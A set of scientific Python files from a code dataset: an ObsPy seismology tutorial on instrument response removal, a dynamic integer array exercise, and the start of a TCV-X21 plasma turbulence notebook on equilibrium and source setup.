[tutorial](http://docs.obspy.org/tutorial/code_snippets/utc_date_time.html) for more information.\n\nimport obspy\n# Create two times which we will later use to download time series data.\nstarttime = obspy.UTCDateTime(2004, 12, 26, 0, 58, 50)\n# Create a new time object by adding 5 days to the previous ones. Time\n# differences are in seconds.\nendtime = starttime + 86400 * 5\n\n# We will use the `CAN` station which is located in Canberra, Australia, and featured in [*Park et al.* (2005, Figure 1)](http://dx.doi.org/10.1126/science.1112305). Please note that in many cases the station code is not unique and in practice the network code is also required. See the ObsPy tutorials for more details about these concepts. The `get_station()` method of the FDSN `Client` object returns station/instrument information. Once again see its [documentation](http://docs.obspy.org/packages/autogen/obspy.clients.fdsn.client.Client.get_stations.html) for more information.\n\n# This will get all stations that satisfy all constraints simultaneosly.\ninv = c.get_stations(network=\"G\", station=\"CAN\", channel=\"LHZ\", \n                     level=\"response\", \n                     starttime=starttime, endtime=endtime)\nprint(inv)\n\n# The `station` services return `StationXML` files which are the most modern and future proof data format for station and instrument information. **If possible at all: Always try to use StationXML files!**\n\n# ##### Plotting the Instrument Response\n#\n# We can now plot the instrument response with the `plot_response()` method. The `min_freq` argument determines the lowest plotted frequency - the maximum plotted frequency is always the Nyquist frequency.\n\ninv.plot_response(min_freq=0.001);\n\n# These are [Bode plots](https://en.wikipedia.org/wiki/Bode_plot) and show the amplitude $A(\\omega)$ and the phase $\\phi(\\omega)$ response where\n#\n# $$\n# I(\\omega) = A(\\omega) e^{i \\phi(\\omega)}\n# $$\n#\n# Note that the formulas use $\\omega$ but the plots show the frequency $f$ with $\\omega = 2 \\pi f$. The first variant usually simplifies notation whereas the latter one facilitates physical interpretation.\n#\n# This plot does not just show the instrument response - it shows the response of the whole recording chain from observed ground motion to actually stored data. This includes the analoge response of the actual seismometer, the analog-to-digitial converter (DAC), and possible digital filter stages.\n\n# The sampling rate of this channel is 1 sample per second ($\\Delta T$ = 1s), so the **Nyquist frequency**, which is defined as\n#\n# $$\n# f_{Nyq} = 1 / (2 \\Delta t),\n# $$\n#\n# is $f_{Nyq}$ = 0.5 Hz. The above plot does not show frequencies higher than the Nyquist frequency (the vertical dashed line) as these frequencies do not exist in the data and thus have no physical meaning.\n\n# Have a look at the details of the response information of this channel:\n\ninv[0][0][0].response\n\n# Here we see that it consists of multiple stages that convert from one unit to another. The final instrument response is the multipication (in the frequency domain) of all of these.\n#\n# **QUESTION:** What are the input and output units of the whole instrument? What does that mean physically?\n#\n# **QUESTION:** How does one conceptually remove the instrument response from recorded data?\n#\n# ##### Incomplete Responses\n#\n# You can also only plot the response of a range of stages. The plotted sensitivity in Obspy 1.0.1 is the overall sensitivity of all stages and not only the chosen ones - thus the plot looks a bit strange. This will be rectified [soon](https://github.com/obspy/obspy/issues/1368).\n\ninv[0][0][0].plot(0.001, start_stage=1, end_stage=1);\n\n# Note that the major differences (except a constant factor) are close to the Nyquist frequency - these are due to the here not plotted decimation and FIR filter stages. In many cases it is sufficient to only use Poles & Zeros information but there are stations where this is not true. As it is tedious to manually check everytime: **There is no reason to not use the full chain instrument response if it is available!**\n\n# ##### Output Units\n\n# Modern seismometers usually record the velocity of ground motion, strong motions sensor record acceleration.\n#\n# **QUESTION:** Why is that?\n#\n# The instrument response describes how incoming data (in whatever the instrument measures) it transformed into what is finally stored in a file. Restoring original ground motion requires the inversion of that process. The deconvolution of the instrument response as written for example in a StationXML file will convert data back to its original units.\n#\n# If your analysis requires other units it is best to perform the integration or differentiation during the instrument deconvolution. That deconvolution is usually performed in the frequency domain - once there integration/differentiation is almost free and the most accurate it gets.\n\n# The following plots show the instrument response $I_d(\\omega)$ from displacement, velocity $I_v(\\omega)$, and acceleration $I_a(\\omega)$.\n\nprint(\"Displacement\")\ninv.plot_response(0.001, output=\"DISP\")\nprint(\"Velocity\")\ninv.plot_response(0.001, output=\"VEL\")\nprint(\"Acceleration\")\ninv.plot_response(0.001, output=\"ACC\");\n\n#\n# Basic properties of the Fourier transform result in \n#\n# $$\n# \\begin{align}\n# X_v(\\omega) &= (i \\omega) X_d(\\omega) \\\\\n# X_a(\\omega) &= (i \\omega) X_v(\\omega)\n# \\end{align}\n# $$\n#\n# where $X_d$, $X_v$, and $X_a$ are the Fourier transforms of displacement $x_d(t)$, velocity $x_v(t)$, and acceleration $x_a(t)$.\n#\n# We also have the relationship between ground motion, instrument response, and the output form the seismometer:\n#\n# $$\n# \\begin{align}\n# x_a(t) * i_a(t) &= c(t) \\\\\n# X_a(\\omega) I_a (\\omega) &= C(\\omega) \n# \\end{align}\n# $$\n#\n# Here we have assumed that the instrument response is described with respect to acceleration. But we could alternatively consider the instrument response with respect to velocity or displacement; **the key point is that what comes out of the seismometer,** $C(\\omega)$**, is fixed.** But we can descibe the input ground motion as displacement, velocity, or acceleration. Showing all three together and omitting explicit $\\omega$ dependence, we have\n#\n# $$\n# \\begin{align}\n# C &= X_a I_a = X_v I_v = X_d I_d\\\\\n#   &= (i\\omega) X_v I_a = (i \\omega) X_d I_V = X_d I_d \\\\\n#   &= (i\\omega)^2 X_d I_a = (i \\omega) X_d I_V = X_d I_d \\\\\n# I_v &= I_d \\ (i\\omega)\\\\\n# I_a&= I_v \\ (i\\omega)\\\\\n# \\end{align}\n# $$\n#\n# It turns out that the effect of differentiation in the time domain leads to an *increase by a factor of one* in the slope of the amplitude spectrum, $|H(\\omega)|$, in log-log space, for example, by changing from $X_d(\\omega)$ to $X_v(\\omega)$. But when we are looking at the *instrument response*, the slope will *decrease by a factor of one* when changing from, say, $I_d(\\omega)$ to $I_v(\\omega)$.\n#\n# We see this in the above figure. Consider the flat segment in the velocity correction spectrum: the displacement shows a corresponding slope increase whereas the acceleration show a slope decrease.\n#\n# **QUESTION:** What is meant by a \"broadband\" seismometer?\n\n# ### L3 Deconvolve instrument response for a seismogram\n\n# We will download some data and remove its instrument response.\n#\n# The first step is to get some data - we will once again use the FDSN web services but this time also to download waveform data.\n\n# +\notime = obspy.UTCDateTime(2004, 12, 26, 0, 58, 50)\nduration = 5 * 86400\nstarttime = otime\nendtime = starttime + duration\n\nst = c.get_waveforms(network=\"G\", station=\"CAN\", location=\"\", channel=\"LH*\",\n                     starttime=starttime, endtime=endtime)\n\n# Do it once again to also get the response information of the vertical channels.\ninv = c.get_stations(network=\"G\", station=\"CAN\", location=\"\", channel=\"LH*\",\n                     starttime=starttime, endtime=endtime, level=\"response\")\n# -\n\n# We will now show what the main arrival looks like at bandpass 50-500s with and without the instrument deconvolution.\n\n# Plot the first hour - slice() will leave the original \n# data stream intact and just returns a new view on the\n# data.\nst.slice(endtime=otime + 3600).copy().taper(0.05).filter(\n    \"bandpass\", freqmin=1.0 / 500.0, freqmax=1.0 / 50.0).plot()\n\n# Now plot the same but with the instrument removed.\n# Note the copy() here as remove_response() would otherwise\n# remove the contents of the original data stream.\nst.slice(endtime=otime + 3600).copy().remove_response(\n    inventory=inv, output=\"VEL\").taper(0.05).filter(\n    \"bandpass\", freqmin=1.0 / 500.0, freqmax=1.0 / 50.0).plot()\n\n# What are the differences? What is their cause?\n\n# We will now plot the amplitude spectrum over 0.2 - 1.0 mHz to show the gravest normal mode peaks. We will only use the vertical component to simplify things.\n#\n# We will first do it without instrument correction\n\n# +\nimport numpy as np\n\ntr = st.select(component=\"Z\")[0].copy().taper(0.05)\n\n# rfft() is a varient of the FFT for real valued input.\n# The negative frequencies of a DFT for purely real valued\n# input are just the complex conjugates of the corresponding\n# positive frequencies and thus redundant.\nD = np.fft.rfft(tr.data)\n# Return the corresponding frequencies.\nfreqs = np.fft.rfftfreq(tr.stats.npts, d=tr.stats.delta)\n\nplt.plot(freqs, np.abs(D))\nplt.xlim(0.2E-3, 1.0E-3)\nplt.ylim(0, 1E7)\nplt.xlabel(\"Frequency [mHz]\")\nplt.show()\n# -\n\n# Instrument removal is, in practice, a tricky and unstable operation. Have a look at the [documentation of the remove_response() method](http://docs.obspy.org/packages/autogen/obspy.core.trace.Trace.remove_response.html) and try to understand the meaning of the various parameters and when you would want to use each.\n\n# +\n# Remember the copy()!\ntr = st.select(component=\"Z\").copy().remove_response(inventory=inv, \n                                                     output=\"DISP\")[0]\n\nD = np.fft.rfft(tr.data)\nfreqs = np.fft.rfftfreq(tr.stats.npts, d=tr.stats.delta)\n\nplt.plot(freqs, np.abs(D))\nplt.xlim(0.2E-3, 1.0E-3)\nplt.ylim(0, 5.0)\nplt.xlabel(\"Frequency [mHz]\")\nplt.show()\n# -\n\n# Are there any difference to the previous versions? If yes - what are they? Keep in mind that the previous plot is based on velocity data, whereas this one has been corrected to displacement.\n\n# We are interested in the spectrum of the data so we don't really need to use instrument corrected data to calculate the spectrum - we can just calculate the spectrum and divide by the response.\n\n# +\ntr = st.select(component=\"Z\")[0].copy().taper(0.05)\n\nD = np.fft.rfft(tr.data)\nfreqs = np.fft.rfftfreq(tr.stats.npts, d=tr.stats.delta)\n# Advanced ObsPy-foo to directly get the complex response.\nfreq_response, _ = \\\n    inv.select(channel=\"LHZ\")[0][0][0].response.get_evalresp_response(\n        tr.stats.delta, tr.stats.npts, output=\"DISP\")\n\nplt.plot(freqs, np.abs(D)/ np.abs(freq_response))\nplt.xlim(0.2E-3, 1.0E-3)\nplt.ylim(0, 35.0)\nplt.xlabel(\"Frequency [mHz]\")\nplt.show()\n# -\n\n# Note that this is quite different then the previous spectrum. **Why?** Keep in mind that we are operating far from the passband of the instrument. The following two plots as well as the\n# [documentation of the remove_response() method](http://docs.obspy.org/packages/autogen/obspy.core.trace.Trace.remove_response.html) should help you answer that question. Which alternative yields the more correct answer?\n\ninv.select(channel=\"LHZ\").plot_response(min_freq=0.0001);\n\ntr = st.select(component=\"Z\").copy().remove_response(\n    inventory=inv, output=\"DISP\", plot=True)[0]\n", "meta": {"hexsha": "95896d5a37472d4899999cbe6a1fb505fb529c6a", "size": 14944, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/General Seismology/instrument_response.py", "max_stars_repo_name": "krischer/seismo_live_build", "max_stars_repo_head_hexsha": "e4e8e59d9bf1b020e13ac91c0707eb907b05b34f", "max_stars_repo_licenses": ["CC-BY-3.0"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2020-07-11T10:01:39.000Z", "max_stars_repo_stars_event_max_datetime": "2020-12-16T14:26:03.000Z", "max_issues_repo_path": "notebooks/General Seismology/instrument_response.py", "max_issues_repo_name": "krischer/seismo_live_build", "max_issues_repo_head_hexsha": "e4e8e59d9bf1b020e13ac91c0707eb907b05b34f", "max_issues_repo_licenses": ["CC-BY-3.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "notebooks/General Seismology/instrument_response.py", "max_forks_repo_name": "krischer/seismo_live_build", "max_forks_repo_head_hexsha": "e4e8e59d9bf1b020e13ac91c0707eb907b05b34f", "max_forks_repo_licenses": ["CC-BY-3.0"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2020-11-11T05:05:41.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-12T09:36:24.000Z", "avg_line_length": 51.1780821918, "max_line_length": 584, "alphanum_fraction": 0.7256423983, "include": true, "reason": "import numpy", "num_tokens": 3837, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4263215925474903, "lm_q2_score": 0.14033624589467186, "lm_q1q2_score": 0.05982837184195271}}
{"text": "#!/usr/bin/python3\n\n# import argparse\nimport numpy as np\n\nclass DynamicIntArray:\n    \"\"\"Dynamic integer array class implemented with fixed-size numpy array.\"\"\"\n\n    def __init__(self):\n        \"\"\"Create empty array with length 0 and capacity 1.\"\"\"\n        self._n = 0  # Number of elements in array\n        self._c = 1  # Capacity\n        self._a = self._create_array(self._c)\n\n    def __len__(self):\n        \"\"\"Return number of elements in the array.\"\"\"\n        return self._n\n\n    def __getitem__(self, i):\n        \"\"\"Return element at index i.\"\"\"\n        # Check for index out of bounds error.\n        if not 0 <= i < self._n:\n            raise IndexError('index out of bounds')\n        return self._a[i]\n\n    def append(self, value):\n        \"\"\"Add integer value to end of array.\"\"\"\n        # Check if given value is of integer type.\n        if not isinstance(value, int):\n            raise TypeError('value is not integer')\n        if self._n == self._c:  # time to resize\n            self._resize(2 * self._c)\n        self._a[self._n] = value\n        self._n += 1\n\n    def _resize(self, new_c):\n        \"\"\"Resize array to capacity new_c.\"\"\"\n        b = self._create_array(new_c)\n        for i in range(self._n):\n            b[i] = self._a[i]\n        # Assign old array reference to new array.\n        self._a = b\n        self._c = new_c\n\n    def _create_array(self, new_c):\n        \"\"\"Return new array with capacity new_c.\"\"\"\n        return np.empty(new_c, dtype=int)  # data type = integer\n\nif __name__ == \"__main__\":\n    a1 = DynamicIntArray()\n    a1.append(5)\n    a1.append(10)  # remove(), tests, command line input via \"argparse\" ..\n", "meta": {"hexsha": "3600ff64028ec86a6d31affa3bc78ae59977fb05", "size": 1644, "ext": "py", "lang": "Python", "max_stars_repo_path": "ExerciseSheet-7/Template/dynamic_int_array.py", "max_stars_repo_name": "TobiOnline/AlgoDat", "max_stars_repo_head_hexsha": "565a9f03a9ed7ef354cb4f143959df77df89b726", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 17, "max_stars_repo_stars_event_min_datetime": "2016-12-16T17:42:34.000Z", "max_stars_repo_stars_event_max_datetime": "2020-08-26T11:07:16.000Z", "max_issues_repo_path": "ExerciseSheet-7/Template/dynamic_int_array.py", "max_issues_repo_name": "TobiOnline/AlgoDat", "max_issues_repo_head_hexsha": "565a9f03a9ed7ef354cb4f143959df77df89b726", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 23, "max_issues_repo_issues_event_min_datetime": "2016-10-08T09:27:41.000Z", "max_issues_repo_issues_event_max_datetime": "2019-10-20T15:40:10.000Z", "max_forks_repo_path": "ExerciseSheet-7/Template/dynamic_int_array.py", "max_forks_repo_name": "TobiOnline/AlgoDat", "max_forks_repo_head_hexsha": "565a9f03a9ed7ef354cb4f143959df77df89b726", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 8, "max_forks_repo_forks_event_min_datetime": "2016-10-07T11:55:23.000Z", "max_forks_repo_forks_event_max_datetime": "2021-04-05T08:36:38.000Z", "avg_line_length": 31.0188679245, "max_line_length": 78, "alphanum_fraction": 0.5869829684, "include": true, "reason": "import numpy", "num_tokens": 414, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958347, "lm_q2_score": 0.12252321412020202, "lm_q1q2_score": 0.0598260509931708}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     formats: ipynb,py:percent\n#     text_representation:\n#       extension: .py\n#       format_name: percent\n#       format_version: '1.3'\n#       jupytext_version: 1.13.3\n#   kernelspec:\n#     display_name: tcv-x21\n#     language: python\n#     name: tcv-x21\n# ---\n\n# %% [markdown] pycharm={\"name\": \"#%% md\\n\"}\n# # Setting up simulations of your own\n#\n# The ultimate aim of TCV-X21 is that the validation case can be replicated by\n# other simulations, and that the experimental dataset serves as a benchmark\n# for comparing and validating turbulence simulations.\n#\n# For that, we need *you* to be able to set up simulations with a turbulence\n# code of your own.\n#\n# For this, you'll need\n#\n# 1. A turbulence code of your own\n# 2. The reference equilibrium\n# 3. Sources\n# 4. Physical parameters\n#\n# You can find data files for the experimental reference scenario in\n# `data/experimental_reference/reference_scenario`.\n\n# %% jupyter={\"outputs_hidden\": false} pycharm={\"name\": \"#%%\\n\"}\n# Set up the analysis environment\n\n# %load_ext autoreload\n# %autoreload 2\n# %matplotlib inline\n\nimport numpy as np\nimport xarray as xr\nimport matplotlib.pyplot as plt\nfrom pathlib import Path\nfrom netCDF4 import Dataset\n\nimport tcvx21\nfrom tcvx21 import Quantity, test_session\n\n# Apply the custom style sheet, which makes the plots look the same\nplt.style.use(tcvx21.style_sheet_inline)\n\n# %% [markdown] pycharm={\"name\": \"#%% md\\n\"}\n# ## The reference equilibrium\n#\n# We develop a simple lower-single-null diverted magnetic geometry as the \"reference\n# scenario\". We performed several discharges in the reference scenario to gather\n# the experimental reference dataset. Next, we performed simulations in both\n# field directions of a \"reference scenario\": TCV shot number 65402 at\n# $t=1$s. The reference scenario represents a typical discharge from the\n# experimental discharges, and it is the case modelled by the codes. Note that\n# the simulations *do not use baffles* (unlike the shot number given here).\n#\n# The reference equilibrium is available in several file-formats: including\n# `eqdsk`, `.mat` (MATLAB data file), and a labelled PARALLAX-type NetCDF.\n# We demonstrate here the use of the labelled NetCDF. Note that in the figure\n# shown here is in *normalised units*. All the spatial distances are\n# divided by $R_0 = 0.90586$m.\n\n# %% jupyter={\"outputs_hidden\": false} pycharm={\"name\": \"#%%\\n\"}\n# Load the equilibrium\nequi = Dataset(\n    tcvx21.experimental_reference_dir / \"reference_scenario/reference_equilibrium.nc\"\n)\n\nfig, ax = plt.subplots()\n\n# Plot the flux surfaces\nplt.contourf(\n    equi[\"Magnetic_geometry/R\"][:],\n    equi[\"Magnetic_geometry/Z\"][:],\n    equi[\"Magnetic_geometry/psi\"][:],\n    levels=20,\n)\n\ncbar = plt.colorbar()\n\n# Plot the separatrix\nplt.contour(\n    equi[\"Magnetic_geometry/R\"][:],\n    equi[\"Magnetic_geometry/Z\"][:],\n    equi[\"Magnetic_geometry/psi\"][:],\n    levels=[equi[\"Psi_limits\"].psi_seperatrix],\n    colors=\"red\",\n)\n\n# Plot the divertor\nplt.plot(\n    equi[\"divertor_polygon/R_points\"], equi[\"divertor_polygon/Z_points\"], color=\"blue\"\n)\n\n# Highlight the magnetic axis and X-point\nR0 = equi[\"Magnetic_geometry\"].magnetic_axis_R  # in metres\nplt.scatter(\n    equi[\"Magnetic_geometry\"].magnetic_axis_R / R0,\n    equi[\"Magnetic_geometry\"].magnetic_axis_Z / R0,\n    marker=\"x\",\n    color=\"blue\",\n)\nplt.scatter(\n    equi[\"Magnetic_geometry\"].x_point_R / R0,\n    equi[\"Magnetic_geometry\"].x_point_Z / R0,\n    marker=\"x\",\n    color=\"green\",\n)\n\n# Make the plot look nice and add labels\nax.set_aspect(\"equal\")\nax.set_title(\"TCV-X21 reference equilibrium\")\nax.set_xlabel(\"$R/R_0$ normalised major radius\")\nax.set_ylabel(\"$Z/R_0$ normalised vertical position\")\n\ncbar.ax.set_ylabel(\"$\\Psi$ [Weber]\", rotation=270, labelpad=20)\n\nif test_session:\n    plt.close(\"all\")\n\n# %% [markdown]\n# The equilibrium file should give you enough information to exactly replicate\n# the magnetic field structure of the TCV-X21 reference equilibrium. To\n# construct the poloidal magnetic field from the equilibrium file, you can\n# check the methods of `tcvx21.grillix_analysis.equi_m.Equi`.\n#\n# For the toroidal magnetic field strength, we assume\n# $B_\\phi = B_{\\phi, axis}\\frac{R_0}{R}$\n\n# %% jupyter={\"outputs_hidden\": false} pycharm={\"name\": \"#%%\\n\"}\nfrom tcvx21.grillix_post.components.equi_m import Equi\n\ngrillix_equi = Equi(\n    tcvx21.experimental_reference_dir / \"reference_scenario/reference_equilibrium.nc\"\n)\n\nfig, ax = plt.subplots()\n\nr_test, z_test = np.linspace(0.6, 1.3), np.linspace(-0.9, 0.9)\nplt.contourf(\n    r_test,\n    z_test,\n    np.sqrt(\n        grillix_equi.magnetic_field_r(r_test, z_test, grid=True) ** 2\n        + grillix_equi.magnetic_field_z(r_test, z_test, grid=True) ** 2\n    ),\n    levels=20,\n)\ncbar = plt.colorbar()\n\nplt.plot(\n    equi[\"divertor_polygon/R_points\"], equi[\"divertor_polygon/Z_points\"], color=\"blue\"\n)\n\nax.set_aspect(\"equal\")\nax.set_title(\"Poloidal magnetic field strength\")\nax.set_xlabel(\"$R/R_0$ normalised major radius\")\nax.set_ylabel(\"$Z/R_0$ normalised vertical position\")\n\ncbar.ax.set_ylabel(\"$B_{pol}$ [Tesla]\", rotation=270, labelpad=20)\n\nif test_session:\n    plt.close(\"all\")\n\n# %% [markdown]\n# ## Sources\n#\n# The source functions used by GRILLIX are given in `tcvx21/grillix_post/components/sources_m.py`\n#\n# ### Density source or neutrals\n#\n# The scenario is fuelled from above, away from the divertor, to try to\n# reduce the amount of neutrals ionised in the divertor.\n# We expect that the neutrals are mostly ionised just inside the confined region (this is\n# called \"low-recycling\": this doesn't mean that there is no neutral recycling,\n# just that the recycled neutrals should be primarily ionised in the confined\n# region).\n#\n# There are two ways that this could be treated.\n#\n# 1. Approximate the neutral ionisation as a confined-region source\n# 2. Self-consistently treat the neutral dynamics to determine the source rate\n#\n# For the initial evaluation we select option 1 for simplicity.\n# Nevertheless, we note that using this approximation\n# is likely our greatest source of disagreement, and are interested in\n# comparing to simulations with neutrals.\n#\n# The total particle source rate isn't known exactly. We expect that\n# most of the density source results from recycled neutrals rather than\n# from neutrals injected from the gas fuelling port (and we don't have a\n# good estimate of the gas fuelling rate anyway). As such, the\n# density source rate (or neutral pressure) must be manually adjusted (see\n# tuning the sources).\n#\n# The density source used by GRILLIX is\n#\n# $S_n = \\hat{S}_n \\exp\\left[ -(\\rho^2 - \\rho_c^2)/\\rho_w\\right]$\n#\n# where $\\hat{S}_n$ is a source rate, $\\rho_c = 0.915141$ is the source centre and\n# $\\rho_w = 0.083797$ is the source width.\n#\n# ### Temperature or power source\n#\n# The shots are Ohmically heated (resistive heating due to transformer-driven\n# current). We approximate this as a power source near the magnetic axis.\n#\n# The electron temperature source is modified to give a constant power injection. The\n# power integral is\n#\n# $ P = \\frac{3}{2}\\iiint n S_{T_e} + (T_e + T_i) S_n \\textrm{d}^3V$\n#\n# which has contributions both from the electron temperature source and from the density\n# source (since adding plasma at a certain temperature requires energy). In GRILLIX,\n# we rearrange this to find an expression for $S_{T_e}$ which gives a constant power\n# rate (where $\\hat{x} = x / x_0$ is a normalised form of $x$, with normalisation factor $x_0$)\n#\n# $S_{T_e} = T_{e0} / \\tau_0 \\left(\\frac{1}{\\hat{n}}\\hat{S}_{T_{e,core}} - \\frac{\\hat{T}_e + \\hat{T}_i}{\\hat{n}} \\hat{S}_n \\right)$\n#\n# This allows us to write\n#\n# $P = \\frac{3}{2}\\iiint n_0 \\hat{n} T_{e0} / \\tau_0 \\left(\\frac{1}{\\hat{n}}\\hat{S}_{T_{e,core}} - \\frac{\\hat{T}_e + \\hat{T}_i}{\\hat{n}} \\hat{S}_n \\right) + T_{e0}(\\hat{T}_e + \\hat{T}_i) n_0 / \\tau_0 \\hat{S}_n \\textrm{d}^3V$\n#\n# $P= \\frac{3}{2}\\frac{n_0 T_{e0}}{\\tau_0} \\iiint \\hat{S}_{T_{e,core}} - (\\hat{T}_e + \\hat{T}_i) \\hat{S}_n + (\\hat{T}_e + \\hat{T}_i) \\hat{S}_n \\textrm{d}^3V$\n#\n# $P= \\frac{3}{2}\\frac{n_0 T_{e0}}{\\tau_0} \\hat{S}_{T_{e,core}} \\iiint f_{S,Te}(R,Z) \\textrm{d}^3V$\n#\n# $P= \\frac{3}{2}\\frac{n_0 T_{e0}}{\\tau_0} \\hat{S}_{T_{e,core}} \\mathcal{V}_w$\n#\n#\n# Substituting this into the power integral gives\n# $ P = \\frac{3}{2} \\int S_{T_{e,core}} d^3V$\n#\n# Then we set\n# $S_{T_{e,core}} = 1 - \\mathcal{S}_3(\\rho, \\rho_c, \\rho_w)$\n# for $\\mathcal{S}_3$ a third-order [smoothstep](https://en.wikipedia.org/wiki/Smoothstep)\n# function, centred at $\\rho_c = 0.3$ and of width $\\rho_w =0.3$.\n#\n# The term $\\mathcal{V}_w$ is the effective weighted volume of the source, which we can\n# use to work out the required source rate.\n#\n# Note that we are only taking energy out of the electron population to compensate for the density source.\n\n# %% jupyter={\"outputs_hidden\": false} pycharm={\"name\": \"#%%\\n\"}\nfrom tcvx21.grillix_post import components\nfrom tcvx21.grillix_post.components.sources_m import density_source_function, smoothstep\n\nfile_path = tcvx21.test_dir / \"sample_data\"\n\ngrid = components.Grid(file_path / \"vgrid.nc\")\nnorm = components.Normalisation.initialise_from_normalisation_file(\n    file_path / \"physical_parameters.nml\"\n)\nsnaps = components.read_snaps_from_file(\n    file_path, norm, time_slice=slice(None), all_planes=True\n)\nequi = components.Equi(\n    file_path / \"TCV_ortho.nc\", file_path / \"pen_metainfo.nc\", flip_z=True\n)\n\nparameter_filepath = tcvx21.grillix_post.filepath_resolver(file_path, \"params.in\")\nparams = components.convert_params_filepaths(\n    parameter_filepath, components.read_fortran_namelist(parameter_filepath)\n)\n\nrho = equi.normalised_flux_surface_label(grid.r_s, grid.z_s)\n\ndensity_source_rate = params[\"params_srcsnk\"][\"csrcn\"]\netemp_source_rate = params[\"params_srcsnk\"][\"csrcte\"]\n\ndensity_source = density_source_function(rho, grid.districts, norm, source_strength=1.0)\ncore_source = xr.DataArray(1 - smoothstep(rho, step_centre=0.3, step_width=0.3)).where(\n    grid.districts == \"CLOSED\", 0.0\n)\n\nif test_session:\n    plt.close(\"all\")\n\n# %% [markdown] pycharm={\"name\": \"#%% md\\n\"}\n# ### Visualising the sources\n#\n#\n\n# %% jupyter={\"outputs_hidden\": false} pycharm={\"name\": \"#%%\\n\"}\nfrom tcvx21.plotting.plot_array_as_transparency_m import plot_array_as_transparency\n\nfig, ax = plt.subplots()\n\nflip_z = -1.0 if equi.flipped_z else 1.0\n\n# First, let's plot the magnetic data flux surfaces\nax.contour(grid.r_s * R0, grid.z_s * R0 * flip_z, rho, levels=20)\n\n# Plot the sources, and bring them to in front of the flux-surfaces\nim = plot_array_as_transparency(\n    ax,\n    grid.r_s * R0,\n    grid.z_s * R0 * flip_z,\n    alphas=np.flipud(density_source),\n    cmap=plt.cm.Greens,\n    intensity=0.7,\n)\nim.set_zorder(np.inf)\nim = plot_array_as_transparency(\n    ax,\n    grid.r_s * R0,\n    grid.z_s * R0 * flip_z,\n    alphas=np.flipud(core_source),\n    cmap=plt.cm.Blues,\n    intensity=0.7,\n)\nim.set_zorder(np.inf)\n\ndivertor_ = tcvx21.read_from_json(\n    tcvx21.experimental_reference_dir / \"reference_scenario/divertor_polygon.json\"\n)\nseparatrix = tcvx21.analysis.find_contours(\n    grid.r_s * R0, grid.z_s * R0, rho, level=1.0\n)[0]\n\n# Mark the separatrix\nax.plot(\n    separatrix[:, 0],\n    separatrix[:, 1] * flip_z,\n    \"C2\",\n    label=\"Separatrix\",\n    linestyle=\"--\",\n)\n# Mark the divertor\nax.plot(\n    divertor_[\"r_points\"],\n    divertor_[\"z_points\"],\n    color=\"C0\",\n    label=\"Vessel\",\n    linewidth=2.0 * plt.rcParams[\"lines.linewidth\"],\n)\n# Set the plot limits in terms of the divertor\nax.set_xlim(divertor_[\"r_points\"].min(), divertor_[\"r_points\"].max())\nax.set_ylim(divertor_[\"z_points\"].min(), divertor_[\"z_points\"].max())\nax.set_aspect(\"equal\")\n\nplt.xlabel(\"R [m]\")\nplt.ylabel(\"Z [m]\")\nplt.title(\"Source positions\")\n\nif test_session:\n    plt.close(\"all\")\n\n# %% [markdown] pycharm={\"name\": \"#%% md\\n\"}\n# ### Tuning the sources\n#\n# Depending on the type of source that you use, you have a number of free parameters. Either you\n# will need to adjust\n#\n# * Density source rate and temperature source rate (electrons and possibly ions)\n# * Density source rate and power source rate\n#\n# For this, you can tune the sources to match the following experimental constraints\n#\n# * Separatrix density of $\\approx 6\\times 10^{18} m^{-3}$\n# * Separatrix electron temperature of $\\approx 40 eV$\n# * Total injected power of $150 kW$\n# * Power crossing the separatrix of $\\approx 120 kW$ (estimated from bolometry)\n# * Total particle recycling of (very roughly) $\\approx 3\\times 10^{31} s^{-1}$ (estimated from total out-flux to\n#   wall Langmuir probes, assuming perfect recycling).\n#\n# In GRILLIX, we set the total injected power to $150 kW$ and then tune the density source\n# to match the separatrix density. We use the same sources in both field directions.\n#\n# We can work out exactly what the required core $T_e$ source rate is, by computing the\n# $\\mathcal{V}_w$ \"effective weighted volume\" of the core source, which allows us to then\n# find the source rate as\n#\n# $\\hat{S}_{T_e}= P / \\left(\\frac{3}{2}\\frac{n_0 T_0}{\\tau_0} \\mathcal{V}_w\\right)$\n\n# %% jupyter={\"outputs_hidden\": false} pycharm={\"name\": \"#%%\\n\"}\nfrom tcvx21.grillix_post.observables.integrations_m import (\n    axisymmetric_cylindrical_integration,\n)\nfrom tcvx21.grillix_post.components.sources_m import core_temperature_source_function\nfrom tcvx21 import Dimensionless\n\ncore_source_volume = axisymmetric_cylindrical_integration(\n    grid,\n    norm,\n    core_temperature_source_function(\n        rho,\n        grid.districts,\n        norm,\n        source_strength=1.0,\n        source_centre=0.3,\n        source_width=0.3,\n    ).assign_attrs(norm=Dimensionless),\n)\n\ndesired_power = Quantity(150, \"kilowatt\")\nprint(f\"Effective weighted core source volume: {core_source_volume}\")\nprint(f\"Required source rate: {(desired_power / core_source_volume).to('MW m^-3')}\")\nprint(\n    f\"Dimensionless source rate: {(desired_power / (1.5 * core_source_volume * norm.Te0 * norm.n0 / norm.tau_0)).to('')}\"\n)\n\n# %% [markdown] pycharm={\"name\": \"#%% md\\n\"}\n# ## Physical parameters\n#\n# In turbulence simulations, usually you'll convert to dimensionless quantities, such that all\n# modelled equations are in terms of unitless quantities. The normalisation factors can be\n# computed from physical parameters of the system.\n#\n# The codes do not fix the profiles, so the exact choice of the normalisation factors isn't so\n# important. The file `data/experimental_reference/reference_scenario/physical_parameters.nml` contains\n# the following physical parameters (in Fortran namelist format)\n#\n# ```\n# &physical_parameters\n#     case_name = TCV_65402\n#     # # # ! Magnetic field normalisation, usually taken on axis, in Tesla\n#     B0 = 0.929\n#     # # # ! Electron temperature normalisation, in electron-volts\n#     Te0 = 41.3\n#     # # # ! Ion temperature normalisation, in electron-volts\n#     Ti0 = 41.3\n#     # # # ! Density normalisation, in particles-per-cubic-metres\n#     n0 = 1E19\n#     # # # ! Major radius, in metres\n#     